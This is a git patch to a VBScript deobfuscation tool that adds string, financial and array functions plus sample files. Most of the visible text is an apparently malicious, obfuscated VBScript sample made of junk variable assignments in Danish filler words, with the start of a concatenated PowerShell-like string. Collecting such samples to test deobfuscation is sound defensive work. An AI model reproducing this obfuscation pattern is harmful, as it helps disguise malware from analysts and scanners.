From 0c41eabe957456c018e6962b9b49e2e869d52b83 Mon Sep 17 00:00:00 2001 From: Sylvain Bruyere Date: Fri, 30 Aug 2024 03:25:43 +0200 Subject: [PATCH] Add supports for: Constants vbUseCompareOption vbBinaryCompare vbTextCompare vbDatabaseCompare String Manipulation Methods InStr InStrB InStrRev LCase LCase_S UCase UCase_S Len LenB Mid Mid_S MidB MidB_S Left Left_S LeftB LeftB_S Right Right_S RightB RightB_S RTrim RTrim_S LTrim LTrim_S Join Split Financial Methods DDB FV IPmt IRR MIRR NPer NPV Pmt PPmt PV Rate SLN SYD Array Methods Array LBound UBound --- Resources/samples/sample_12.txt | 4722 +++++++++++++++++ Resources/samples/sample_9.txt | 41 +- Resources/samples/sample_91.txt | 5 + Resources/samples/sample_92.txt | 10 + Sources/.vscode/launch.json | 4 +- Sources/Sources.generated.sln | 37 + .../Properties/launchSettings.json | 8 +- .../DComplexStringExpression.cs | 39 + .../VB_ICS_S_ProcedureOrArrayCallStatement.cs | 33 + .../LanguageStatements/Functions/Financial.cs | 209 + .../LanguageStatements/Functions/VBMethod.cs | 1888 ++++++- .../LanguageStatements/Literals/VbLtDouble.cs | 2 +- .../LanguageStatements/VbInStatement.cs | 50 + .../LanguageStatements/VbVariableStatement.cs | 41 +- .../vbSparkle/Objects/NativeObjectManager.cs | 138 +- Sources/vbSparkle/packages.config | 5 - Sources/vbSparkle/vbSparkle.csproj | 7 +- 17 files changed, 7048 insertions(+), 191 deletions(-) create mode 100644 Resources/samples/sample_12.txt create mode 100644 Resources/samples/sample_91.txt create mode 100644 Resources/samples/sample_92.txt create mode 100644 Sources/Sources.generated.sln create mode 100644 Sources/vbSparkle/LanguageStatements/Functions/Financial.cs delete mode 100644 Sources/vbSparkle/packages.config diff --git a/Resources/samples/sample_12.txt b/Resources/samples/sample_12.txt new file mode 100644 index 0000000..6fa0d77 --- /dev/null +++ b/Resources/samples/sample_12.txt @@ -0,0 +1,4722 @@ + + +'Ulises colourize stith yarraman: hovedopgaverne, + + + + + + + + + +'Dolite unavertibleness! + +Function Bagtippers () + +For I = 1566 To 84 step - 1 +Butterdejstrterne = Butterdejstrterne & "Forsagelse" +next + +Reroot = Reroot + "If (${hosw" +Optjer = -27096 +Caudillo = "Entredrenes! uigennemtrngeligt" +Beskyttelse = "Bibracteate trykpresser" +Fichuets = 38884 +Cinerea = "energiudladninger svampekostes" +Shalt = &HFFFFD986 +Lobsterproof = &H7868 +Nietzsche = "rabdomancy absorberedes26" +Indkber = &HFFFFC729 +Subduer30 = -4859 +Friturestegning = 8836 +decket = -61897 +Firetogene = &HFFFFDEC9 +Modvinds = "Cryptoscopy197; skalmurende:" +Dysorexia = &H3C62 +Lhegnets = "Forsyningstropper tetronymal" +Biologis102 = &HD471 +Jinriki124 = &H95B6 +opdyrkningernes = "Elektroencefalografien, interpretative" +Undervisningsministre = 42437 +Frakkelommes = &HFFFF301F +Antigropelos = &HFFFFA52A +Hnsegaardenes = &HFFFFF922 +Tuskets = "Kunstkendere: toiletspejlene:" +Automorfi196 = &H11AE +opvist = -19246 +Talehreundervisnings = "Fremelskelse unsectional" +Ddblegt = &HDF83 +Svmmedykkere = -48793 +Marxistiske = "Bantu, miljadministrativ" +Blthavene = &HFFFF939F +Overbygger = "Grevskaberne thermodynamical:" +Partoutkort = &H45F7 +Slvtjsskuffens = 62484 +Antifoaming = 31947 +alekss = 26691 +Orthodoxy = 33328 +Kuperendes = -19763 +Trafikken = &HFFFF9C13 +Skovsyrer = "Diarists: drubs" +saksestaalets = -15239 +Mt = "Thermographically: flusk:" +Bombarderende = &HFFFF5C8A +Sfaeriske = 863 +Current = -17877 +Semideveloped = &H20EC +Angelico = &HDE16 +rubrica = &HFFFF9D55 +Indsnres = &HABAE +circumnavigator = 6097 +Nonsynchronous = &HFFFF0227 +bevidstgrende = &HFFFF6052 +Skidteriernes103 = &HFFFF6E9F +Bailiff = "Raabalancen: deler" +Envoyjcs = "Forskningsministerium! mercurialis" +Aphoristic = 29103 +Perkingly = 17381 +Udviklingsprocessernes = "Afslagenes; forkrnkeliges32?" +Brandsvamp = 28806 +Bilgewater = -64169 +Cypriotisk = "Radioisotope! udfladningen:" +Udlaansafdelings = -5682 +Fastelavnsrisets = -4411 +Chunner = &HDB03 +Bliss = 59225 +Outdrunk = 52351 +Scuttering = 32796 +lerret = "Blindgngerens? klokkeknebel," +Stuehuset = &H409 +Aftensbordene = "Elfenbenstaarns; gavntr" +Confirmatorily = &HFFFFBB30 +Supernovaers = "Uraemias amfora," +samaritanske = "Overindividualistically featlier," +Fjernlyses37 = -36622 +Extraregularly = &HFFFF395C +Bleariness = 57785 +Chastising = &H263B +Dopers = "Unibasal! coors." +Skrivefelters = 34331 +Stormagasinet = "Cusie? vrdstte" +Natteravns = &HFFFF79DD +Skovridernes150 = -48589 +Semiologi = -10815 +Mercurialise = &HBDDA +Trols = &HDECF +Newsmanmen62 = "Incestuse holoquinonoid" +Unlent = "Rattails? symaskinenaal173" +Kanonslags = "Goyin zoysia!" +Shintoismes = "Interlineation? phthalein." +Seconal = &H50EC +Bakerdom = -63618 +Frumenties = &HFFFF1026 +Stegens = &HFFFFBBC2 +Thulite = &HFFFF37D1 +Superattainableness = -3440 +Samplingernes = -56488 +Pegmatite = 22581 +Retardtzr = -56789 +Meteorograph = &HE4AB +Stnnede = &HB61F +Tippernes = &H4238 +Barthianismens = "Liebhaveriernes moscow" +Antabuskuren237 = &HFFFF8B76 +Manen254 = 31544 +Evalueringsrutine = &H4BBC +Casha = &HFFFFD051 +Seasonality = 33959 +Flammekastere = 36906 +Kundskaberne = "Klkningens238! stvkoncentrationerne" +Paafyldes = -4437 +haploidic = &HFFFF1E9C +Holytides = "Substraction: spectatorship" +Kapitalforsikringers = &H6738 +Vinterferies = &HC67A +Diathermometer = &H5983 +Recipientkvalitetsplanen184 = &HFFFFAAE3 +Umbrette = &H58B9 +Threadbarity = "Nonshaft politirapport?" +Violets = &H223E +Nonanalogicalness = &H242 +Elutriation = 59595 +Hjemsge = 40743 +Hovedregnings = -915 +Slikkets = -5097 +Softie = "Weaned167 charteret116" +Quillaja = 1934 +Valourous = -57154 +Maskes = 30072 +Krypteringsprogrammer = &HFFFF1B99 +containerize = -35362 +Bindsaalers = "Napoleonshats; underpole" +Christianizer = &HEE6C +Glansnumret = "Konfunderede, passiveret!" +Jvnfringen = &HFFFFA55D +Browns = "baptisterne, flygtig?" +Kontaktor = "Camshaft: jyskhedens" +Unfranked56 = &HFFFF8080 +Tppebelagte = "Udplacder revisorforeningerne." +Membran171 = 15270 +Ufortaltes = &HFFFFB9C6 +Antechamber = &H71FC +Langtruknes = "Ubelastede194 bediapers83" +Zoosporocyst = &HF691 +Gteskabsbureau = &H6094 +Tilbehrspanterets = "Whiningly flabile!" +Lechwe = "Transformerstationen chlorophenothane" +Breathalyser = "Boganmeldelsers; paleoanthropography!" +Peckish = &HFFFFC9C5 +Collaborates = "Enmanche syrians" +anvendelsesmnster = "Subcompensative charlocks;" +Kerrye = "Stavemaader cursorpositionerne" +Sknmalerier = "Srverskibet: plyssernes" +heterostrophy = "Afdelingsingenirernes. confidently!" +Cartbote = "Zoomastigina signficant" +Irrecognition = &H65BC +Jakobiner = 5975 +Bepowder = &H6D6A +Ansttelses = &H6603 +Losser = 55379 +Stakordrers = 6286 +Bekmpe = &HFFFF6349 +Excusable = -28216 +Pastedown = 26101 +Affodrer139 = &H4CFD +Bardiskene = 38980 +Prepartaking = &H4731 +Bartoli = 38093 +Nationalmuseers = -7025 +Veritas = -58895 +Sgeprocedurers = "Paaklderen dumpeprocenter" +Wageplug20 = "pengehistorierne tvistlrreds" +Rejseforsikring = 51522 +Kaarder195 = "Skrnt. nerveklinikken" +Focalise1 = "Praxithea resuspension32?" +Skaberevners = &H719B +Saldolister = "Nonindividualities absurdness." +Falsemaskinernes = &H577 +Thatll = &H6772 +Chiasmata = 54404 +Parviflorous = -16015 +Disheritment = "Hampering bushful," +Electroballistic = 27232 +Cowslips237 = -59160 +Billiardist = -63078 +Haberdashery = -23319 +Unpurposely = 37514 +Inderlommers = "Titivation151 kolofonium?" +Aabningstidernes = &H968E +reallnstilbagegangens = -19214 +Butikskder = &H1C21 +Rvesvns = "Keratogenic; ihrdigere?" +Miljkravenes = &HA27E +Lseklassens237 = "Reptility: diskpladsers?" +Hetzer = "Topspin prellet:" +Suu = -55682 +Stormangrebene = 22945 +Chaufer = -17035 +Greing = 35234 +Spheroidizes = "Kogeres! haandtasker" +Micrometallurgy = "Savvrket monerozoic72" +Heterogeniteten = &HFFFF9C3C +Neossology = -33298 +Hogen = -49752 +Faldbydende = -43265 +Gldens = "Sadelmagerarbejde: reyson" +Boliviano = &HD245 +Kontrolpunkter = &HBB14 +Jamboretterne = 4534 +Ravining = "Klamreaben cresson" +respektfuldere = &H3890 +Inkassoerne = "Superficialises krabber!" +Donatistical = &HF5EC +Rakke = -8967 +Produktionsprocessernes = "Castalides misgracious" +Tyke = &H678F +Brstenbindernes = "Pleximetric226 conflagrators" +Khedas = &HFFFFD538 +Bankeaander = &H59DB +Chumar = -2603 +Unrelievedly = 1791 +Arbejdsgruppens = &H313A +Autoptically = &HFFFFDA8C +Counterproductiveness = &HFFFF9E69 +Homeostases = "Flygtningelejrens184 regionalplanernes:" +projektledelsen = 5402 +Trfs = 61991 +Cocklight = 63646 +Klosterkompleksers = "Skinnebenets stberande" +Unslogh = &H5ACE +Gobbo = "Discomposingly! wilmas." +Streptokokkens = 7319 +Ovnhusenes = &HAE97 +Rapsmarken = "Presystematically fremlejerettighedernes" +Facetters = 47878 +Lepidostrobus98 = -17255 +romaniseringers = &H3E70 +Discontiguous = 665 +Pastoraled = &H88F +Optimeredes113 = &HFFFF26AA +Coupeens = &H285 +Cursillo = -55610 +Reraises = &HD1C7 +Eldern = -2743 +skulderlange = 53913 +Virksomhedskunders = -48757 +Enrooting = &HFFFF9835 +Tohaandsbetjening = "udriggerne. mariticidal!" +Punktvises = &HFFFFB2EB +Forskerholdet = -46343 +Sukkedes = 58543 +drumbler = 47912 +Peseta = 61950 +Udbrnd = "Bgerbladene: mtaaligt;" +Vellidtes = "Recalling outclimb?" +Programafproevning = "Ornithodelph! frevlif" +Debordment = "Programdirektrs? faciliteternes." +Rhinskvinsglassene = "Geometricians! paafugles" +Prima = "Pakningerne husbuks" +Halvfemsaarsfdselsdag = &HFFFFBADE +Disaugment = "Ordnedes. paronymization!" +Likvideres = "Homoiousia; fluoaluminate:" +Kapitalbehovenes = &H840C +Latrididae = -12749 +Tvivlraadigeres = "Circumgestation celebriteternes." +Offsetten = "Silicoflagellidae unsucceeding." +Andanten = 44309 +Lienor = "Nonforeigness triconsonantal" +peevedly = "Flyttemanden: projektlsning54." +Drumble = &HFFFF2FEF +Uheldigere178 = &HD296 +Cleared = "Synchronously: seeres6" +Thorer = 52669 +safranens = &H72AB +Aftalende = &HFFFF9E82 +Beluret = 15996 +Lynchers = -46253 +Apteryx = &HFFFF40D9 +Hormonlignende = &HFFFFEB3C +Fertilisable = 11480 +opgavests = -12571 +Synacmy = 39155 +Observatorernes = "Env177! flberier" +Hylekorene = -55278 +Behjlpeligste = &HFFFF3303 +Demokrat = "autografsamlerens, sydneian" +Petrine = "Mikroskoperedes anciennitetsbestemte" +Listesituationernes = "Kamphanes214 ptilichthyidae15" +Multiplikator177 = &HFFFFD1B0 +Potensogr = "Underfinancing hydrolysed;" +Maniva = -38169 +Arcticward = "Teleseme lophiomyidae." +Plateauernes = &HFFFFB31D +Jagthundens234 = -7958 +Okes = &HFFFFD517 +Nedkortning = 16658 +Hylodes = "Forskningsarbejder. paperboard77." +Speedos = "supermndenes: forbedringshusene" +Monorime = 11592 +Epistylis = 44945 +Kommandomode = &HFFFF43D9 +Dokumentationscenter = "Immatrikulerede. krydsrevisionernes:" +bowsing = -24469 +Digtervrks = 64864 +aspargesbenenes = -46276 +Kldningsstykkets = &H246B +Percoidean = 40507 +Globule = "Panhidrosis, lophotriaene:" +Constitutional = 23339 +Sleeplessess = -40599 +Oklafalaya = "Analytikere. cementindustrien" +malings = &HA2B8 +Mesa = 64720 +Caballero176 = -333 +Artighedens = &H4A7F +Byrri = "Kalcineret cabrioles," +Palaeonemertean = &HFFFF1AAD +Presymphonic = &HFFFFDA28 +Eightieths = "Fainness! renderne;" +Udmalingsprocentens = -4693 +Utiltalendes = "Gonorbaens vanemssige!" +Agglutiner = 28501 +Satellits = &HD380 +aarhundredgamles = "Profited drby;" +throb = -43145 +Acct = "Plasmas: mercurifying;" +Tapirs = &HFFFF382A +Godartedes = "Autoopretningers pendente," +Sniggler = &H66A5 +Stningsled = "Ribbegopler fremsagt" +Fiendishly = &HC88A +Zonekrnkelse46 = &H538 +Trykluftsbeholdernes = "slimness! applikationsprograms" +Jante = "Ferries perfection153" +Unobscurely = &HFFFF13F4 +Laenge = 13266 +Withtake = "Grnsevandlbets selskabslokaler" +kantinens = -4311 +Systemdigtningens = -51014 +Trugo = &HFFFFBD48 +Myxopapilloma = "Grnttrrestationernes. simptico" +Septenarii = &HFFFFA3D7 +Ukendelig = -9306 +Nepotismen = "Thain faedreland" +Trykblgerne = "Beskederne: nontitularly!" +Handwrit = &HFFFF4867 +Hjlandene = "Forretningsordeners tangentialkrfters!" +Rundbuet = -3723 +holst = "Edificial compassment." +Haiduk = &HFFFF0F7F +Endeavoring = &H108A +Enleagued = -56697 +Smigvinkels = &HFFFF2FDD +Udskrivningsproblematikken = 42753 +Zits134 = "Skuffedariernes. terminably." +cockboats = -47581 +Safetyman = &H6EC2 +Blodtrstigstes = "Motivationernes startbeholdninger." +Kvleriers = 32756 +ditrochous = &HFFFF6A87 +Tilregner = "Udtrringsarbejder; camailed!" +Tamarindus = -41025 +Dextrorsely = &HFFFF6C87 +billedredaktren = 3611 +Involutely30 = "Hovedrevisoratet theaterward21" +Limnophobia = "vanloese: rhamnetin" +Audienssal = &H6D2B +Handskedukkens = 5203 +Bodyguards = &HFFFFB2B8 +Noeglevaerdier = 31101 +Hjlpetropper = "Indfjningen forstassistent," +Experiencing = "Insekticid. timelessly," +lyskopierede = -57148 +Tiaarig = "Sained peregrinator." +Skrighalses = 56012 +Olynthian = &HE7AB +Catstone = "Incandescence bluntnesses" +waterbeds = &HFFFF4CA5 +Rengringsassistenter = &H2EC3 +Anciennitet = "Svededraaben: antistof" +Pectoriloquous = -41179 +Kommunikationsprotokollen = &HFFFF2310 +Fluorescences = "Oprydningen: hospodars!" +Originaludgaven = "missionerne strgtures;" +Untangentially = 26412 +Tilskre = &HFFFF168F +Fiberkuffert44 = &H9EF6 +Transparenters = -63900 +Produktionsoverfrslen = "Mangefarvede? springning," +Neolitikum70 = 36162 +dialectological = "Afsyrende20 svenne" +Surrejoin = &HFFFF11B8 +Bedrolls161 = &H1281 +Slseriernes = &HA1F8 +Opsigelsesvarselets = &HFFFFF7FB +Tidsskriftsartikels = "Quadragesimal skamskudtes?" +Undtagelsestilstandenes = "Landfogeders. consentive" +Aflod = -15948 +Bastite = 8507 +Hudstryge = "Ovalization, livsvrket?" +Konsignere = &H74A6 +Eurovision = &H53D5 +Topographometric = &HFFFFCD65 +Subdichotomy = &HFFFFEB53 +Tyggefladen = &HFFFFB11F +Sloopman = 19948 +Stenkulsbriketter = 61214 +Kitlers = -63462 +Racinglike = &HFFFF1A33 +Spurvene = 62028 +Proklamaerne = &H50FF +sekundoviolinen = -13523 +Haandsbredderne = -3772 +Ventralmost = "Studehandlernes stupiditetens" +Pedicellar = "deviable scours!" +Sealet = "Stophanen aliency." +Agterhaler = &H5994 +biospheres = &H14A5 +Skruestikbnkenes = "Deportationsordninger; slatier," +Skriveunderlags = &HFFFF52AA +Lgtningens23 = &HFFFFBB80 +Mycelioid = -55267 +Indenters = &HFFFF846F +Emneafteners = "Lurifaksen: kset" +Danskvandene = &HD86 +Renummereringsfunktionen = &HFFFF0E91 +Maintainances = 23897 +Holeproof = "rytmik vampyrellidae?" +Angiostenosis = 15169 +Biskuittens = "Ume12 subsolar144," +Cirrigrade = "Energistyrelsen palograf." +Archrebel = &H1C98 +Philepittidae = &HD582 +Lucrum = -2466 +Skulderremmen = "Stripers! flaskerenser" +Doolittle = "Slvpapiret! verandas" +Chefkonsulenterne = -48329 +Monishment = &HFFFF84E7 +Pyrite = &HF1D8 +Tilgivelse = -5060 +Skldsord = "Stetoskoperende sluing:" +forgaflens = "Humanes: trowelbeak91" +Escarmouche = &HFFFFB653 +Oversetting = -51566 +Trettenaarfdselsdagens = "Readdressed, pkge." +Pausesignalernes = &HFFFFC21A +Aandevseners = "Ansvarsomraaders? preconsultation!" +Grundreglernes = "Bathmotropic179? datakontrols?" +Styresoftware212 = -25326 +Farveskalaerne = &HFFFFF68D +Intercloud = &H87E2 +Sysselsttes = -13884 +Helstensmur = &HFFFF2922 +Aflokkede = &HF0C1 +Stenter = -17467 +Sponsoredes = -4822 +Apozem = -14205 +Lohoch = &H6358 +Somnolism = 9976 +Karikaturs = -13802 +Adoptivfaderen = &H166C +Detaljoqr = "Sammenstimlingen indgang" +Taxiauto = 41395 +Racemate = &HFFFFB384 +Angulation = 9689 +Anthus = -33988 +Ledsager = &HFFFF875A +Takofferet = -3582 +remineralize = &HFFFFEDFA +kamsin = &H459F +Udbyttekonfiskationen = "Unlawyerlike. greve," +Implausibility = "Skraaskriftens: translucence:" +Hegnstraadene169 = 21557 +kontorarbejde = 45729 +Solidariteters = "Medflende? udflytterkommunerne;" +demonstrate = -18774 +Tapetsermestres = -46769 +fljten = &HCB25 +Dberen = 26415 +Liciteringers = 48569 +Gratiner = &HFFFF33E1 +Eunukkers = "Rahu demagnetisation223?" +asylcentret = &H764C +Comforts237 = 64571 +Majordomo = -12022 +Eksportafgrde = &HFFFFFED5 +Precooler = &HFFFF7A6E +Samvrsform116 = 42522 +Untriturated = "Forarbejdningernes! detentionslokalerne," +repercussive = &HBA6A +illudere = "Medusans? colonizations" +Blandiloquious = -3764 +Conditionate = "Obeahs primitivity," +Distrainor = &HFFFFF094 +Amoebaean = &HFFFF134D +Nonnobility = 37710 +Bjrnegrs = &HFFFFC4B8 +Ubevist = &HFFFFD2A8 +Telefonannoncers = 47600 +Dicranum = &H1468 +Motormand = &HDFD7 +pudsedes = &HFFFF47C7 +Scortation = -4441 +Dromedarers = -49801 +Enker = 24457 +Godsbanegaarden = "Gennembrydningen! deputize" +Prowesses = &HFFFF323B +Shoed136 = "Tjreslaget: forhindringslbet" +whiffs = &H3624 +humblebee = "Forjasket121 revises!" +Quop = &HFFFF0605 +Omgivelsers = &HFFFFACA9 +Dortea = 17445 +Pugarees = 63741 +Skulendes85 = &H4D57 +Peripeteia = &H9AFE +Tilfredsstilledes = 18517 +Scalation = "Astrallegemerne; assurgent." +Pisset = &HFFFF82D2 +rrlig = &HFFFF4693 +Hymeniums = &HFFFF682C +Blaamuslingens = "Lavaen162 unhilariously62?" +Helbroderen = 48522 +Lunarian = &HFFFF2B86 +Mindstebelbenes = 21090 +rysler = &H2939 +Vedligeholdelsesudgift = -6914 +hjttalersystemer = 24817 +Allantiasis = "Tingsvidne! sgefunktions?" +Personificeringernes = &HA9D1 +Skinnebensbruddene42 = "Shrinkageproof, andedammenes!" +Maharishi = 24134 +Reflowers192 = 58260 +Prebendal = &HFFFF79C1 +Hvlspaanernes = &HFFFF6795 +Takketale = "Foldedrens inddatabuffers." +Dehumanizes = "Pokey handelsforbindelser:" +Shadiest = -64316 +pigenavnes = -42768 +Housebug = -18886 +Herrevrelses = -11544 +Tritely = "Newsier: itinerariums?" +Trivialnavne = &H695D +Shrew103 = -38200 +Sporingen = -26275 +Foxproof = "Bortslbning. knifes" +Fjernopvarmes = "Owtchah, pithoigia" +Injoin = -64845 +Oppendes = &HFFFF3975 +Opraaberens226 = &HFFFFCE7D +Unguessed = -8963 +forkuendes = 18430 +Tvelydens = "Glout sknnere;" +Rapgrsset = &HFFFF83F3 +Galejens = -15106 +Mobilization = "Arbejderomraades, forvelsernes13." +Akrobatiske = &HFFFF438A +Unquarrelling = &HFFFF3E04 +Tarpaulian = "Tillberen: anteriority." +Flakonens = 6885 +Buffisters = 43183 +Souljazzen = &HF03A +Joylessness = 11766 +Tastaturanslagets = 59498 +Universitetslektorens = 58481 +Varmtvandsbeholders = "Deejay bourtree." +Heartaches = 104 +Vaporings = "Dirging thwittle" +Indvortes = -4279 +Minsandten = 56601 +Overinflating = -45709 +Trngselens = 37341 +Storeen = "Exitskilts: stonewaller" +Kursfald189 = "Chondrified: bewimple" +Ampasimenite = &HFFFFFC45 +Arbitrere = 15315 +Sinologiens = 53856 +Degenereringernes = "Stangvgtes? reinduced" +Sialoid = &HFFFF2B74 +indeholdelsernes = "Phytols indistinction," +Funktionsstyring20 = &HFFFFC86E +Daydawn = "Rgelserne trisceptral" +Sixpencernes = -33660 +Preconfide = &HFFFFEA85 +Rumdelerens = "Enspirit krokodille" +filt = &H24EB +Valrap = "Kvalitetskrav, elaioleucite" +Hegnings = &HFFFF2938 +Shallowbrain = "Eligent tilvristes" +Modposteret139 = 18428 +Funktionstastens = "Septimerne sangskjulers?" +Gipsyhead = "Vildskabernes; nucleize," +Trilogien = "Gaffernes phacella91" +Udbetalingskortene = &H8B59 +chorizations = "Filmlike forlystelsessteder:" +Exposture = -11391 +unrepresented = "Feddans: sejrsglde" +Valetdom = "Unshaped boxthorn" +Nonimputative = &HCFC0 +Topologist = &HC0A2 +Macromeritic = &HFFFF5FA3 +Dochter = 62179 +Sadelmagernes = "Pilomotor krybes" +Burthened = &HB76 +Semicontraction = "Besprjtning toasting" +Tagdkkeren = "Fortrudte deoxidization." +Oversoaking = "bimanal skydemodstande?" +Filosoferet = &HFFFFBD3C +Bisson = -52244 +Mused = "Aof! hovednummers60" +Colchicum = 30988 +Embryotomies = &H789C +Beseemingly = -30599 +Uoverkommeliges = -20094 +ledigblevet = "Behaviourism188 forbehandlingerne." +Hypohalous = "Baandlg dobbelttilvrelsen!" +Ophvelses = "Tyktarmsoperationers. oligarchize?" +Semirationalized = "Organiserede skyman82," +acquainting = "Linjetlleres? efterbrndingernes" +frasepareret = "Tyktflydende! motley" +Tandrodsbetndelsens = &HFFFFD47D +Maleability = "Insinuating; strggarnerne" +Whame = &H48B +Puckneedle = "vodkaers paisana!" +Jagtfalke = &H7EA4 +Sammensparinger = &H5F8A +Appredicate34 = "Ribbefries enhedslisten," +caping = &HFD88 +Unparagraphed = &HFFFFC3AF +Mornward = &H3C68 +Curiosos = &HDBB5 +Spanked = &HFFFF1ECF +Urogenic = 64538 +Bankrver = -40944 +Monaxonida = 63991 +Tossede = "Voldshandlingers! ballunds," +Intercerebral = &HB48 +opblander = 9808 +Promptest = "Acanthodian: voldsom!" +Elingued = -2744 +Pseudonymer = 59583 +Elektroskopet = -23882 +Egnedes = "Proreption. suspicioning!" +Bilineate = -40724 +Kreatives = &HFFFF58E0 +Leopardskin = -44320 +spillereglen = &H6E4 +Srtilskud162 = &H8FAE +Udsalgsprisernes = "Projectet, bortfrelses;" +Rengringsmiddelfabrikantens = 42172 +Keracele = "Chromophotolithograph? undersoul;" +Fjrtende = "uomgngeligheders? revolute" +Friand = 12836 +Dyrepark67 = &H7704 +Vaginalt = &HFFFF301E +Hematoids = "Exobiologist survivors?" +Anthropoid165 = "Svbeslagenes, ondskabsfulderes." +Foredoor = &HB0F5 +Smaaredslens = "Gulerod. bringendes" +vrdighedstegnet = "Amenta? miswords?" +Trstubbene = -20308 +Apolloship = "Winesops! maaleligt?" +Vatfuls = -2257 +Empirien = 52160 +Dragon = &HFFFF97B4 +Sayable = "Snoreassistentens; solrig151" +Stvlesnudernes = -60190 +Anspores = 41982 +Gry = &HFFFF624E +Ddninger = "Spawneater? modermrkernes" +Grundplaners = "Hikkesygens; informationsteknologi?" +Stersfarternes = -37141 +Folketingsordfrer = &H77B7 +Conglobating = &HFFFFF61A +Acremen = &HFFFFE950 +Tegneprogrammer7 = &HA2B2 +Nonreconcilably = 38977 +Udrede = -62289 +Dagsordenerne = -10697 +Copying = "Bunddkkende balstyrige" +Anticarious = 54190 +advokatfirmaets = &HFFFF0B2B +Burgwere = 24965 +Dalmatinernes = &HFFFFF56D +weighshaft = &HD8BD +Ridestien = &HDFA9 +Kodifikations = 61545 +Strykninforgiftningers25 = -12978 +Bp = "Unswarming isocytic." +Vitrial = 11479 +Dekoreringernes = "Hack. drumbeater" +Hydatid = &HAF8 +sttende = "Zar aftagerens?" +Sporbredden = "Arizonans trikolores," +Fusain = &HFFFFB0E4 +Sgelysene = "Leucocytopoiesis; forbryderspirers" +Flsomheden = "Ferskenkinders: indrejses39." +Bevaringerne = "Dyreparkerne: undeserted!" +opkaldsafgiften = -513 +Macacos = -21870 +Daakalvene246 = -60815 +Sparrernes = "Skibsrederiets25! fortrydelsesparagraffernes?" +Etatists = 61121 +Oksefars = "Svrmeriskes! skrivelsen169" +Ballyhooer = -1542 +Unwithholding = "Spidvendere, bedrevrdsflelser" +Cyanometry = 30993 +philol = &HFFFF6B27 +Kanonbaade = "Frottehandskernes200 eloxeringens." +Absolutest16 = "Marshallers warszawapagtens" +Impolished = &HFFFFA7E9 +Fastnacht = &HFFFF5330 +Medmenneske = &H95C8 +Benedicks = "Programerklringernes sulfosbe" +Ferieramt = &HFFFF0749 +Forbundsstats = -26774 +Justifikationer = -31671 +Vedette = -3200 +Loyola = &HFFFF57C0 +Decapods = &HEA4A +Honorifically = 54169 +Nonbiographical = &H5048 +Slibrighed = "Elevskolernes, microcirculatory" +Recurrently = "Studenten ergoterapeuters" +Arbejdssted = &HAAFA +Nerium = &H9613 +Siculian = &H3013 +Autostradaen = 49843 +Trevlerne = &HB0AF +Spritkrere = -6181 +Isographs = -58835 +Nongeological = &HFFFFFD50 +Tilpasningsklausulernes = 56009 +Raspings = 41389 +Sylespidsens = &H1B1C +Freeware = &HFFFF9A36 +Stabwort = 17618 +Bgetrets = 58358 +Impresarioernes = "Dopey; marianne;" +Distinktionernes = &H2D06 +Plisseen = -4535 +Hypotenuser = "Apotekerbevilling domenic," +Webfoot = 47369 +Deformity = 48689 +Statsansat = "Blomstergartner transpositionerne" +Hjemstedsadresses15 = "Bobbing spendering:" +Unormaliteterne = &H6465 +Kvalifikationskampe = "Cinurous, samensunken" +Moduler = "Stenkulsnaftaen64 georgine106" +Britchka = &HFFFF9977 +Gritt = &HFFFF31E0 +Psammotherapy = &HFFFFA07A +Masturbationernes = 4516 +lohengrin = "Sadelmagernaalens brydningstider:" +shikarees = &HFFFF8BA3 +palaeomastodon = "Cykeltyvenes blekingegade;" +Ceratium = 21975 +bundkarakter = 50129 +Tibors = &H4438 +Misdictated = &H534A +Tyvstjlendes84 = "Forbjerges stvletters" +Lrebogsmaterialernes = &HFFFFFA2A +Uharmoniens = -44667 +Albummet = "Nectarinia! meteorologists" +Beslutningens = &HFFFF02B0 +Nyest = "Baccilli: bundfldede" +Blaamunkes = "Everten. biopolymers" +Fireetagershuset = "Spildevandsomraades lugningerne" +Perishably = "Petrographical160 sydsides," +Lampadist = "Prevenancy juleferierne" +Pulsimeter = "Skrdderiers: tidsvrdiernes?" +Microspectrophotometry150 = &H3D2F +Flappede = &H4BAC +Baadsmnd = "Kludderhas borborygmi" +Dowdily = "William? beduinens64" +Dinner = "Sjakringers fantastik" +Volumenernes = "Pakning pillearbejdes" +Piecemeal = "Paleoecological. tydeliggrelsen." +Leninists = "Bioblast, hvalfangerens." +Endgate74 = "Bosun optraadtes" +Evanescenrly = &H1F8B +Car = &HF29C +Delnglens = &HFFFFE992 +Confutability = &HFFFF88B6 +Mangrate = &H57F +Bespouses = "Resaws? triumvirat" +Afsnitsgrnsernes = "Stueetagens! noncausative" +Nonsignificative = &HFFFF9128 +Dekretet = "Lugningen periosteomedullitis;" +Onychauxis = -58179 +Undertavle215 = "Laveres? gerontomorphosis!" +Fuserne = &HD94D +Bisglyoxaline = "Esteemable langsdorffia," +Subinferred = 41193 +Forbehandlet = &HB53C +Vaginoscopy205 = "Glorioles? udviklingstaktens:" +businessese = -18439 +Kaliumcyaniderne = &H835D +Skiagrammes = "Afmystificeringen? vulcanizing" +Unpoached = "Epitheca ankerpladsens," +Synkronmotor130 = 5682 +Bordbombens = -34064 +Done = "Foragtede: anomalousness." +Hierarkis = &HFFFFBFF6 +Soph = "Gorgonize. englante;" +Kugle = &HFFFF5818 +ballongyngens = "Troopial! caliculi71," +Trocheameter = &H3226 +Unpropitiatedness = 33021 +Snacky = 29321 +Plotinist = -9866 +Forsumpe = -10446 +Selvejergaards = 23782 +Undermestres = &HFFFFB097 +Aswan = 49246 +Parterrer = &HFFFF0D56 +Akademikers = "Interdisciplinr? signance" +Rehydrate = "Battes! storkundernes" +Alebench = -34664 +Ablute = &HFFFF3B86 +Berengaria = 44298 +Vagtfolk = "Espressivo anvendelsesformaalen!" +Rdkaalshovedets = &H595D +Unfirmly = "Impends finanskonto94:" +Lotteriseddel = "Byggemodnende! efterkomnes!" +Relacquer214 = "acetonaphthone. solkremerne162," +Prevaricators = "Vid. linearise?" +Gland135 = "Orddelte overregiment219" +Matchmaking = "Gesandtskabers; modsvarede" +Swinehood = 8965 +Programmelkonstruktions255 = &HFFFFB15C +Flsket = &H5105 +Prokura = "Untranscendentally telefoner?" +Liverpudlian = "Antiklder tilfredstillende." +Udviklingsplanerne31 = "Informationsmaengder; flowerier" +Modebevidstes = &HFFFF0B71 +Algaeologist = "Lovbrydere! outstays!" +Aabenbaringerne = &HFFFF8D3C +Alkoholtest = -39472 +Saddukere = -12721 +Kreture = -2094 +unequivocating = &HC91A +Markrflytningerne = &HFFFF143E +Bacillian = &H5EE3 +Uncandid = "Gnosticise hyleriers" +Bove = &H7D58 